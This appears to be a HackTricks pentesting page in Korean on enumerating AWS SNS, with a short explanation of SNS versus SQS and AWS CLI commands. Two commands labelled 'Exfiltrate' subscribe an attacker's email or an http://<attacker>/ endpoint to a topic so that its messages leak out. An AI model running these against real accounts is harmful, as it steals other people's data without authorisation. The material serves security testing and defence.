AWS - SNS Enum

Support HackTricks

SNS

Amazon Simple Notification Service (Amazon SNS)는 완전 관리형 메시징 서비스로 설명됩니다. 이는 애플리케이션 간 (A2A) 및 애플리케이션 대 개인 (A2P) 통신 유형을 모두 지원합니다.

A2A 통신을 위한 주요 기능에는 게시/구독 (pub/sub) 메커니즘이 포함됩니다. 이러한 메커니즘은 주제를 도입하여 높은 처리량의 푸시 기반, 다대다 메시징을 가능하게 합니다. 이 기능은 분산 시스템, 마이크로서비스 및 이벤트 기반 서버리스 아키텍처와 관련된 시나리오에서 매우 유리합니다. 이러한 주제를 활용함으로써 게시 시스템은 광범위한 구독 시스템에 메시지를 효율적으로 배포하여 팬아웃 메시징 패턴을 촉진할 수 있습니다.

SQS와의 차이점

SQS큐 기반 서비스로, 포인트 투 포인트 통신을 허용하여 메시지가 단일 소비자에 의해 처리되도록 보장합니다. 이는 최소 한 번 전달을 제공하며, 표준 및 FIFO 큐를 지원하고, 재시도 및 지연 처리를 위한 메시지 보존을 허용합니다. 반면에 SNS게시/구독 기반 서비스로, 메시지를 여러 구독자에게 동시에 방송하여 일대다 통신을 가능하게 합니다. 이는 이메일, SMS, Lambda 함수 및 HTTP/HTTPS와 같은 다양한 구독 엔드포인트를 지원하며, 목표 메시지 전달을 위한 필터링 메커니즘을 제공합니다. 두 서비스 모두 분산 시스템의 구성 요소 간의 분리를 가능하게 하지만, SQS는 큐 통신에 중점을 두고, SNS는 이벤트 기반 팬아웃 통신 패턴을 강조합니다.

Enumeration

# Get topics & subscriptions
aws sns list-topics
aws sns list-subscriptions
aws sns list-subscriptions-by-topic --topic-arn <arn>

# Check privescs & post-exploitation
aws sns publish --region <region> \
--topic-arn "arn:aws:sns:us-west-2:123456789012:my-topic" \
--message file://message.txt

# Exfiltrate through email
## You will receive an email to confirm the subscription
aws sns subscribe --region <region> \
--topic-arn arn:aws:sns:us-west-2:123456789012:my-topic \
--protocol email \
--notification-endpoint my-email@example.com

# Exfiltrate through web server
## You will receive an initial request with a URL in the field "SubscribeURL"
## that you need to access to confirm the subscription
aws sns subscribe --region <region>\
--protocol http \
--notification-endpoint http://<attacker>/ \
--topic-arn <arn>

주제의 유형이 FIFO인 경우, SQS 프로토콜을 사용하는 구독자만 사용할 수 있습니다 (HTTP 또는 HTTPS는 사용할 수 없습니다).

또한, --topic-arn에 지역이 포함되어 있더라도 **--region**에서 올바른 지역을 지정해야 하며, 그렇지 않으면 접근 권한이 없다는 오류가 발생하지만 문제는 지역입니다.

인증되지 않은 접근

AWS - SNS Unauthenticated Enum

권한 상승

AWS - SNS Privesc

포스트 익스플로잇

AWS - SNS Post Exploitation

지속성

AWS - SNS Persistence

참고자료

HackTricks 지원하기

Last updated